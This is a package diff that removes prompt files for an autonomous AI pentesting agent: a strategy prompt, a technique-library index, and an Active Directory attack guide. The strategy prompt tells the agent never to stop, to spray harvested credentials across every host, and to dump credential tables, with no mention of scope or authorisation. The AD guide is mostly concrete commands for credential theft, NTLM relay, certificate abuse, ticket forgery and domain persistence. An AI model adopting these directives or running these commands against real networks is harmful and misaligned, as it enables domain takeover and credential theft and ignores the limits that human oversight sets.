pentesting 0.73.14 → 0.90.2

package/dist/prompts/strategy.md

@@ -1,163 +0,0 @@
-# Black-Box Pentesting Strategy Engine
-
-## Core Philosophy
-
-You are an autonomous offensive security researcher, not a tool operator.
-Discover vulnerabilities through creative exploration, chain findings, invent novel paths.
-**Never stop** — when blocked, search harder, try different angles, build custom tools.
-
-## Control Rule
-
-This is a control prompt, not a command recipe sheet.
-
-- Reason in layers: `objective -> tactic -> technique candidate -> hypothesis -> concrete attempt`
-- ATT&CK/PTG are reasoning frames, not fixed command sequences
-- Do not replay example commands blindly
-- The same tool may remain valid if the parameter set or hypothesis is materially different
-- Judge exhaustion at the `attempt` layer, not the `tool name` layer
-
-## Decision Frame
-
-Before choosing an action, compress the situation like this:
-
-```text
-OBJECTIVE
-  -> what access or proof matters now?
-TACTIC
-  -> recon / initial access / execution / privilege escalation / lateral movement / collection
-TECHNIQUE CANDIDATES
-  -> 2-3 plausible paths supported by evidence
-HYPOTHESIS
-  -> what must be true for this path to work?
-ATTEMPT
-  -> concrete execution with this tool/parameter set
-EVIDENCE
-  -> what result would confirm or kill the hypothesis?
-```
-
-## First Turn — Start Immediately
-
-Execute in parallel:
-- Fast broad discovery in background
-- OSINT: shodan/censys/crt.sh/github for the target
-- `update_mission` with initial objective
-
-When ports open: `web_search("{service} {version} exploit hacktricks")` for every service.
-If host discovery looks filtered, prefer recon that does not depend on ICMP assumptions. No planning-only turns — act and learn.
-
-## Priority Matrix
-
-```
-TIER 1 — First 5 min (instant wins):
-  Default creds · Known CVE for exact version · Exposed .env/.git/backup files
-  Anonymous access (FTP/Redis/MongoDB) · Misc debug endpoints
-
-TIER 2 — 5-15 min:
-  Injection (SQLi/CMDi/SSTI/LFI/XXE) · Auth bypass · File upload + shell
-  SSRF/IDOR · Searchsploit/Metasploit match · Password spray
-
-TIER 3 — 15-60 min:
-  Custom logic flaws · Exploit chains · Binary analysis (SUID)
-  Blind attacks · AD enumeration (BloodHound, certipy)
-
-TIER 4 — Last resort:
-  Systematic fuzzing every input · Source code from .git/decompile
-  Patch diffing · Race conditions · Supply chain analysis
-```
-
-## Every-Turn Decision Flow — Use OODA from base.md
-
-During the ORIENT/DECIDE steps of base.md's OODA protocol, check:
-1. Strategic Directive PRIORITY list — what did Strategist order first?
-2. Highest-probability unexplored surface from the matrix below?
-3. Have I searched for attacks on EVERY discovered service? → if not, search NOW
-4. Can I chain existing findings? (check attack-intelligence in context)
-5. Stuck 15+ min? → switch approach immediately, refer to FALLBACK in directive
-
-## Service Intelligence Protocol
-
-For every discovered service:
-1. **Identify**: name, version, purpose, data it handles
-2. **Research**: `web_search("{service} {version} exploit hacktricks")` + CVE + default creds
-3. **Attack**: default creds → known CVEs → misconfigs → protocol-specific → chain with others
-4. **Escalate if stuck**: bug bounty writeups, source code, fuzzing, timing attacks
-
-Understanding a service's *purpose* reveals vectors scanning cannot. Redis can write SSH keys. Jenkins can run code. A PDF generator can SSRF.
-
-## Attack Chains
-
-Think in chains, not individual bugs:
-- LFI → log poison → RCE
-- SSRF → cloud metadata → IAM creds → takeover
-- SQLi → file write → web shell → shell → privesc
-- Git dump → secrets + endpoints → admin bypass → RCE
-- Default creds → CMS admin → plugin upload → shell
-- Kerberoasting → cracked service account → DCSync → domain admin
-- ADCS misconfiguration → cert request → impersonate DA
-
-Every finding opens new surface: credentials → spray everywhere, new host → full recon.
-
-## Attack Surface Expansion
-
-Before deep-diving, maximize surface:
-- OSINT: Docker Hub images, GitHub repos, job postings (tech stack), certificate transparency
-- Per service: immediate CVE search, content discovery, parameter enumeration
-- With shell: `ss -tnp`, `/proc/net/tcp`, `/etc/hosts`, env vars → map all internal connections
-- Every internal service found = new target (add_target) with zero-auth assumption
-
-## Autonomous Rules
-
-**Never Repeat**: failed attack → mutate params, switch tool, different encoding, different vector.
-
-**Technique Before Tool**: choose the attack class first, then pick the tool that fits the current hypothesis.
-
-**Attempts Are Cheap, Ontology Matters**: remember whether a tactic/technique is still viable even when one concrete attempt fails.
-
-**Errors = Intelligence**: stack trace → framework version, "File not found" → LFI candidate,
-SQL error → injection confirmed, 403 → resource exists (bypass), WAF → payload_mutate.
-
-**Dynamic Knowledge**: never say "I don't know." Search first. Always.
-Use: HackTricks · PayloadsAllTheThings · GTFOBins · exploit-db · RevShells · CyberChef
-
-**Immediate Action**: login form → try default creds. File upload → try shell. Version → search exploits.
-
-## Situational Awareness
-
-At every phase transition:
-- WHERE am I? (external / DMZ / internal / domain-joined)
-- WHO am I? (anonymous / user / admin / root)
-- WHAT do I have? (shells, creds, tokens, access)
-- WHAT remains? (unexplored surfaces, pending cracks)
-- WHAT can I chain?
-
-## Proof Collection
-
-After every privilege change: search for flags, read `/root/root.txt`, `/home/*/user.txt`,
-check env vars, dump credential tables. Use `add_loot` for everything found.
-
-## Clue Detection
-
-Targets always leak: README files, unusual filenames, HTML/JS comments, custom error messages,
-robots.txt disallowed paths, non-standard HTTP headers, base64/hex strings anywhere.
-
-## Time Box
-
-- 5 min on one attack vector → no progress → switch
-- 15 min on one service → no progress → switch service
-- 10+ min stuck → `web_search("{service} exploit hacktricks")`
-- Every turn must have tool calls
-
-## Kill Chain — Parallel Not Linear
-
-```
-Recon HOST A (bg) + Exploit HOST B + Post-exploit HOST C simultaneously
-Found creds anywhere → spray on ALL hosts immediately
-Found internal service → add_target → full recon
-Hash cracking always in background
-```
-
-## Context Digest
-
-Tool output is auto-digested (pattern extraction → structural reduction → semantic summary).
-Trust the digest summary. Use `read_file` on saved output path for full detail.
-Signal lines (creds, CVEs, flags, ports) are always preserved — never re-run just for compression.

package/dist/prompts/techniques/README.md

@@ -1,40 +0,0 @@
-# Technique Reference Library
-
-## Architecture: Direction-Based Autonomous System
-
-These files do NOT contain exhaustive payload lists. That would be infinite.
-Instead, each file provides:
-
-1. **Category map** — what sub-techniques exist in this domain
-2. **Decision tree** — how to choose the right approach
-3. **Search patterns** — EXACT queries to find detailed methodology
-4. **Chaining hints** — how this technique connects to others
-5. **Autonomous loop** — think → search → try → mutate → escalate
-
-## File Index (cross-referenced)
-
-| File | Domain | Links To |
-|------|--------|----------|
-| `shells.md` | Reverse shells, bind shells, web shells, upgrades, stabilization, persistence | exploit, post |
-| `injection.md` | SQLi, CMDi, SSTI, LDAPi, XSS, XXE, NoSQLi, XPathi, CRLFi, HeaderI | web, evasion |
-| `file-attacks.md` | LFI, RFI, path traversal, file upload, ZIP slip, symlink, race | web, shells |
-| `auth-access.md` | Auth bypass, IDOR, session, JWT, OAuth, privilege escalation | web, post |
-| `network-svc.md` | Service-specific attacks (SMB, LDAP, DNS, FTP, SSH, DB, Redis...) | recon, exploit |
-| `ad-attack.md` | Active Directory, Kerberos, delegation, ADCS, trust abuse | post, network-svc |
-| `privesc.md` | Linux/Windows/Mac privesc, kernel, misconfig, SUID, capabilities | post, shells |
-| `lateral.md` | Pivoting, tunneling, port forwarding, credential spraying, pass-the-hash | post, ad-attack |
-
-## How LLM Uses These Files
-
-The LLM receives these as `<reference-knowledge>` chunks.
-When encountering a situation, it:
-1. Identifies the relevant technique category
-2. Reads the decision tree for that category
-3. Uses the search patterns to find detailed methodology
-4. Applies the autonomous loop: try → fail → mutate → search → try again
-5. Chains to related techniques when one succeeds partially
-
-## Key Principle
-**We teach WHERE to look and HOW to think, not WHAT to do.**
-The internet (HackTricks, PayloadsAllTheThings, GTFOBins) is the payload database.
-Our prompts are the strategic brain that navigates it.

package/dist/prompts/techniques/ad-attack.md

@@ -1,261 +0,0 @@
-# Active Directory Attacks — Comprehensive Autonomous Guide
-
-> **Cross-ref**: network-svc.md (services), privesc.md (local privesc), lateral.md (movement)
-
-##  Core Principle
-AD is the crown jewel. Domain Admin = full compromise.
-There are dozens of attack paths — enumerate, search, and chain them.
-
-##  AD Attack Category Map
-
-```
-AD ATTACK LIFECYCLE:
-│
-├── 1. Initial Enumeration (CRITICAL FIRST STEP)
-│   ├── BloodHound/SharpHound: collect → analyze → find shortest path to DA
-│   │   bloodhound-python -u USER -p PASS -d DOMAIN -dc DC-IP -c All
-│   │   web_search("bloodhound custom queries privilege escalation")
-│   ├── PowerView: Get-DomainUser, Get-DomainGroup, Get-DomainComputer
-│   ├── ADRecon: comprehensive AD enumeration report
-│   ├── crackmapexec: smb, ldap, winrm, mssql enumeration
-│   │   crackmapexec smb SUBNET/24 -u USER -p PASS --shares
-│   ├── ldapsearch: full LDAP dump (users, groups, GPOs, trusts, ACLs)
-│   │   ldapsearch -x -H ldap://DC -b "DC=domain,DC=com" -D "user@domain" -w pass
-│   ├── enum4linux-ng: comprehensive SMB/LDAP/RPC enumeration  
-│   ├── rpcclient: RPC-based user/group enumeration
-│   └── KEY: map EVERYTHING before attacking (users, groups, permissions, trusts)
-│
-├── 2. Credential Harvesting
-│   ├── Kerberoasting (T1558.003):
-│   │   ├── impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC -request
-│   │   ├── Rubeus.exe kerberoast /outfile:hashes.txt
-│   │   ├── Crack: hashcat -m 13100 hashes.txt wordlist
-│   │   └── Target: service accounts with SPNs (often have weak passwords)
-│   │
-│   ├── AS-REP Roasting (T1558.004):
-│   │   ├── impacket-GetNPUsers DOMAIN/ -dc-ip DC -no-pass -usersfile users.txt
-│   │   ├── Crack: hashcat -m 18200 hashes.txt wordlist
-│   │   └── Target: accounts with DONT_REQUIRE_PREAUTH
-│   │
-│   ├── Password Spraying:
-│   │   ├── crackmapexec smb DC -u users.txt -p 'Password1' --continue-on-success
-│   │   ├── Common passwords: Season+Year (Winter2025), Company+123, Welcome1
-│   │   ├── Spray slowly to avoid lockout (check lockout policy first!)
-│   │   └── kerbrute passwordspray --dc DC -d DOMAIN users.txt 'Password1'
-│   │
-│   ├── LLMNR/NBT-NS Poisoning:
-│   │   ├── Responder -I eth0 -rdwv → capture NTLMv2 hashes
-│   │   ├── Crack: hashcat -m 5600 hashes.txt wordlist
-│   │   └── Relay: impacket-ntlmrelayx → relay captured auth
-│   │
-│   ├── NTLM Relay:
-│   │   ├── impacket-ntlmrelayx -t TARGET -smb2support
-│   │   ├── Relay to: SMB (admin access), LDAP (add user), HTTP (RCE)
-│   │   ├── Capture via: coerce, PetitPotam, PrinterBug
-│   │   └── web_search("NTLM relay attack techniques {year}")
-│   │
-│   ├── DCSync (T1003.006):
-│   │   ├── Requires: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
-│   │   ├── impacket-secretsdump DOMAIN/admin:pass@DC
-│   │   ├── Gets: ALL domain password hashes → complete compromise
-│   │   └── Check ACL with BloodHound for accounts with DCSync rights
-│   │
-│   ├── LSASS Dump:
-│   │   ├── mimikatz: sekurlsa::logonpasswords
-│   │   ├── procdump: procdump -ma lsass.exe lsass.dmp
-│   │   ├── Task Manager: right-click LSASS → create dump  
-│   │   ├── comsvcs.dll: rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump
-│   │   └── web_search("LSASS dump techniques evasion {year}")
-│   │
-│   └── Credential from files:
-│       ├── SYSVOL/GPP: findstr /S /I "cpassword" \\DC\SYSVOL\*.xml
-│       ├── NTDS.dit extraction: ntdsutil, vssadmin, diskshadow
-│       ├── Registry secrets: reg save HKLM\SAM sam
-│       └── web_search("active directory credential extraction techniques")
-│
-├── 3. Lateral Movement (see also lateral.md)
-│   ├── Pass-the-Hash: impacket-psexec, impacket-wmiexec, evil-winrm -H HASH
-│   ├── Pass-the-Ticket: Rubeus, mimikatz (kerberos::ptt)
-│   ├── Over-Pass-the-Hash: NTLM hash → request Kerberos ticket
-│   ├── PsExec: impacket-psexec DOMAIN/admin:pass@TARGET
-│   ├── WMI: impacket-wmiexec DOMAIN/admin:pass@TARGET
-│   ├── SMBExec: impacket-smbexec DOMAIN/admin:pass@TARGET
-│   ├── DCOM: impacket-dcomexec DOMAIN/admin:pass@TARGET
-│   ├── WinRM: evil-winrm -i TARGET -u admin -p pass (or -H hash)
-│   ├── RDP: with valid credentials or pass-the-hash (restricted admin mode)
-│   └── web_search("lateral movement techniques active directory {year}")
-│
-├── 4. Delegation Attacks
-│   ├── Unconstrained Delegation:
-│   │   ├── Monitor for incoming TGTs → capture them
-│   │   ├── Force auth: PrinterBug, PetitPotam → capture DC TGT
-│   │   └── impacket-findDelegation DOMAIN/user:pass -dc-ip DC
-│   │
-│   ├── Constrained Delegation:
-│   │   ├── Service can impersonate users to specific services
-│   │   ├── S4U2Self + S4U2Proxy attack chain
-│   │   ├── impacket-getST -spn TARGET_SPN -impersonate admin DOMAIN/svc:pass
-│   │   └── Alternative service name → access any service on target
-│   │
-│   ├── Resource-Based Constrained Delegation (RBCD):
-│   │   ├── If you can write msDS-AllowedToActOnBehalfOfOtherIdentity
-│   │   ├── Create computer account → point delegation → impersonate DA
-│   │   └── web_search("RBCD exploitation active directory")
-│   │
-│   └── web_search("kerberos delegation attack {delegation_type}")
-│
-├── 5. ADCS (Active Directory Certificate Services)
-│   ├── DISCOVER: certipy find -vulnerable -u user@domain -p pass -dc-ip DC
-│   │   Also try: certipy find -stdout (text output for quick triage)
-│   │
-│   ├── ESC1: SAN Injection — Enrollee can specify subjectAltName
-│   │   certipy req -ca CA -template TEMPLATE -upn admin@domain -dc-ip DC
-│   │   Conditions: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + EnrollmentRights
-│   │
-│   ├── ESC2: Misused "Any Purpose" EKU — cert usable for any auth
-│   │   Request cert → use for Schannel auth or PKINIT
-│   │
-│   ├── ESC3: Enrollment Agent — obtain cert to issue certs on behalf of users
-│   │   certipy req -ca CA -template EnrollmentAgent -dc-ip DC
-│   │   certipy req -ca CA -template USER -on-behalf-of DOMAIN/admin -pfx agent.pfx
-│   │
-│   ├── ESC4: Template ACL — WriteDACL/WriteProperty on template → modify it
-│   │   certipy template -u user@domain -p pass -template TEMPLATE -save-old
-│   │   Add ESC1 settings → request cert as admin → restore original
-│   │
-│   ├── ESC5: PKI Object ACL — control over CA/PKI objects (AD CS server itself)
-│   │   web_search("ADCS ESC5 certipy CA control exploitation")
-│   │
-│   ├── ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 — CA flag allows SAN on any template
-│   │   web_search("ADCS ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 exploitation")
-│   │
-│   ├── ESC7: CA Officer/Manager rights → approve pending requests
-│   │   certipy ca -ca CA -add-officer user -u admin@domain -p pass
-│   │   certipy req -ca CA -template SubCA -upn admin@domain → issue pending
-│   │
-│   ├── ESC8: HTTP NTLM Relay to AD CS Web Enrollment
-│   │   impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp -smb2support --adcs
-│   │   Coerce: PetitPotam / PrinterBug → capture DC auth → relay → DC cert
-│   │
-│   ├── ESC9: No security extension — certipy request bypass
-│   │   web_search("ADCS ESC9 certipy shadow credentials exploitation")
-│   │
-│   ├── ESC10: Weak cert mapping — userPrincipalName mapped to certificate auth
-│   │   web_search("ADCS ESC10 strong certificate mapping bypass")
-│   │
-│   ├── ESC11: ICPR NTLM relay — relay auth to RPC interface (not HTTP)
-│   │   web_search("ADCS ESC11 NTLM relay ICPR certipy")
-│   │
-│   ├── ESC12-13: web_search("ADCS ESC12 ESC13 certipy 2024 exploitation")
-│   │
-│   ├── Cert → Auth: certipy auth -pfx admin.pfx -dc-ip DC → get TGT + NT hash
-│   └── web_search("ADCS exploitation certipy {year}")
-│
-├── 6. Trust Attacks
-│   ├── Parent-child trust: SID History injection → Enterprise Admin
-│   ├── Cross-forest trust: selective auth bypass, SID filtering bypass
-│   ├── Golden/Silver ticket crafting across trusts
-│   └── web_search("active directory trust attack cross-forest")
-│
-├── 7. Persistence (Domain-Level)
-│   ├── Golden Ticket: forge TGT with krbtgt hash → unlimited access
-│   │   impacket-ticketer -domain DOMAIN -domain-sid SID -nthash KRBTGT_HASH admin
-│   ├── Silver Ticket: forge service ticket (stealthier, service-specific)
-│   ├── Diamond Ticket: modify legitimate TGT (harder to detect)
-│   ├── Skeleton Key: mimikatz misc::skeleton → master password for all accounts
-│   ├── DSRM: Directory Services Restore Mode password → DA access
-│   ├── AdminSDHolder: give permissions that propagate to admin groups
-│   ├── DCSync rights: grant DCSync to controlled account
-│   ├── Shadow Credentials: msDS-KeyCredentialLink manipulation
-│   └── web_search("active directory persistence techniques {year}")
-│
-└── 8. Advanced AD Attacks
-    ├── Shadow Credentials: web_search("shadow credentials pywhisker exploitation")
-    ├── SAMR/LSARPC abuse: reset passwords, enumerate remotely
-    ├── ACL abuse: if you own WriteDACL/GenericAll/GenericWrite → full control
-    ├── Group Policy abuse: create/modify GPOs → code execution on domain
-    ├── sAMAccountName spoofing (noPac): web_search("nopac CVE-2021-42278")
-    ├── DNS admin → DLL injection → RCE as SYSTEM on DC
-    ├── LDAP signing/channel binding attacks
-    └── web_search("active directory attack path {technique} {year}")
-```
-
-##  AD Search Patterns
-```
-web_search("active directory attack {technique} {year}")
-web_search("hacktricks active directory {attack_type}")
-web_search("thehacker.recipes {AD_technique}")
-web_search("bloodhound {custom_query} for {objective}")
-web_search("{impacket_tool} usage examples")
-web_search("active directory {defense} bypass evasion")
-```
-
-## BloodHound Deep Analysis
-
-```
-BLOODHOUND WORKFLOW:
-1. Collection (from compromised host):
-   bloodhound-python -u USER -p PASS -d DOMAIN -dc DC-IP -c All --zip
-   Or: SharpHound.exe -c All --zipfilename loot.zip (Windows)
-
-2. Ingest + Query — Critical patterns:
-   Shortest path to Domain Admin:       MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"})) RETURN p
-   Kerberoastable DA paths:             MATCH (u:User {hasspn:true})-[r:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"}) RETURN u
-   Users with DCSync rights:            MATCH p=(u)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN p
-   Unconstrained delegation computers:  MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
-   Computers where domain users are admin: MATCH p=(g:Group)-[:AdminTo]->(c:Computer) RETURN p
-   ACL paths (WriteDACL/GenericAll):    MATCH p=(u)-[:GenericAll|WriteDACL|WriteOwner|GenericWrite]->(n) RETURN p
-
-3. Custom queries for Hard/Insane:
-   web_search("bloodhound custom cypher queries privilege escalation 2024")
-   web_search("bloodhound edge {edge_type} exploitation")
-```
-
-## Kerberos Attack Full Map
-
-```
-KERBEROS ATTACK SURFACE:
-│
-├── Ticket Attacks
-│   ├── Golden Ticket: compromise krbtgt → forge TGT for any user/group
-│   │   impacket-ticketer -nthash KRBTGT -domain-sid SID -domain DOMAIN admin
-│   │   Valid for 10 years; survives password changes (not krbtgt rotation)
-│   │
-│   ├── Silver Ticket: compromise service account → forge service ticket
-│   │   impacket-ticketer -nthash SERVICE_HASH -domain-sid SID -spn SERVICE/HOST admin
-│   │   Stealthier (no DC contact); service-specific
-│   │
-│   ├── Diamond Ticket: modify existing legitimate TGT (harder to detect than Golden)
-│   │   Rubeus.exe diamond /krbkey:KRBTGT_AES /ticketuser:admin /groups:512
-│   │   web_search("diamond ticket attack rubeus detection evasion")
-│   │
-│   └── Sapphire Ticket: request real TGT for non-existent user, inject legit PAC
-│       web_search("sapphire ticket attack kerberos 2024")
-│
-├── Roasting
-│   ├── Kerberoasting: SPN accounts → request TGS → crack offline
-│   │   Priority targets: service accounts (svc_*, sql, http, MSSQLSvc)
-│   │   hashcat -m 13100 (RC4) or -m 19600 (AES256) → try common service passwords
-│   │
-│   ├── AS-REP Roasting: no preauth required → roast without creds
-│   │   Enumerate: Get-ADUser -Filter * -Properties DoesNotRequirePreAuth
-│   │
-│   └── Targeted Roasting: if you have GenericWrite → disable preauth temporarily
-│       Set-ADAccountControl user -DoesNotRequirePreAuth $true → roast → restore
-│
-├── Delegation Abuse (Constrained/Unconstrained/RBCD)
-│   ├── Tools: findDelegation.py, PowerView Get-DomainComputer -TrustedToAuth
-│   ├── S4U2Self + S4U2Proxy: impersonate any user to target service
-│   └── RBCD: write msDS-AllowedToActOnBehalfOfOtherIdentity → arbitrary impersonation
-│
-├── pkinit / Certificate-Based Auth
-│   ├── Got ADCS cert? → certipy auth → TGT + NT hash WITHOUT password
-│   └── Shadow Credentials: msDS-KeyCredentialLink → certificate auth for target account
-│       pywhisker -t TARGET -a add --domain DOMAIN --dc-ip DC -u user -p pass
-│
-└── Kerberos Relay / Coercion
-    ├── krbrelayx: relay Kerberos auth (unconstrained delegation hosts)
-    ├── PetitPotam / DFSCoerce / PrinterBug / MS-RPRN → coerce DC auth
-    ├── RemotePotato0 / RemotePotato (local → cross-session relay)
-    └── web_search("kerberos relay attack {year} {coercion_method}")
-```